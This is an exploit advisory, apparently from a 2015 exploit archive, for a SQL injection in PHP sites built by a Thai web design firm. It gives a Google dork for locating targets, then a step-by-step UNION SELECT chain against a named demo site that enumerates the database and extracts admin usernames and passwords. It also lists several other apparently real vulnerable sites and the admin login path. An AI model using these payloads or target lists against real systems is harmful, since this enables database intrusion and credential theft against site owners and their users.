#######################################################
#
# [+] Exploit Title: RUOK SQL injection vulnerability
# [+] Date: 2015 28 September
# [+] Google Dork : intext:"DESIGN BY RUOK.CO.TH"
# [+] Software Link: http://www.ruok.co.th
# [+] Exploit Author: Iranian_Dark_Coders_Team
# [+] Discovered By: KurD_HaCK3R
# [+] Security Risk: High
# [+] Platforms: php
# [+] Tested on: Windows 8.1
#
#######################################################
#
# [+] VULNERABILITY:
## ryouok SQL injection vulnerability
#
#######################################################
#
# [+] Demo site:
#http://www.mugellomotorXs.co.th/carreview.php?id=6'
#http://www.mugellomotoXrs.co.th/carreview.php?id=-6+union+all+select+1,2,3,4,5,6,7--
#http://www.mugellomotXors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--
#http://www.mugellomoXtors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x61646d696e--
#http://www.mugellomXotors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+admin--
#######################################################
# [+] Example
#http://www.chiangmXaihillhotel.com/gallery.php?id=11%27
#http://www.greencXal.co.th/en/product.php?id=66%27
#http://www.thaigXoodluck.com/webboard/webboard_view_data.php?question_id=2451%27
#http://www.athiXtan.com/gallery.php?id=15%27
#######################################################
# [+] Admin page : www.site.com/admin/login.php
#######################################################
#
# [+] Discovered By : KurD_HaCK3R
# [+] We Are : KurD_HaCK3R,M.R.S.CO,Black.Hack3r,N3O
# [+] SpTnx : YoSeF__HaCkeR,Mr.Cicili,Sec4ever,D$@d_M@n,HOt0N,MR.0x41,M4H4N,Security,@3is And All #Members In wWw.IDC-TeaM.NeT
# [+] Home : http://wWw.IDC-TeaM.NeT
#
#######################################################
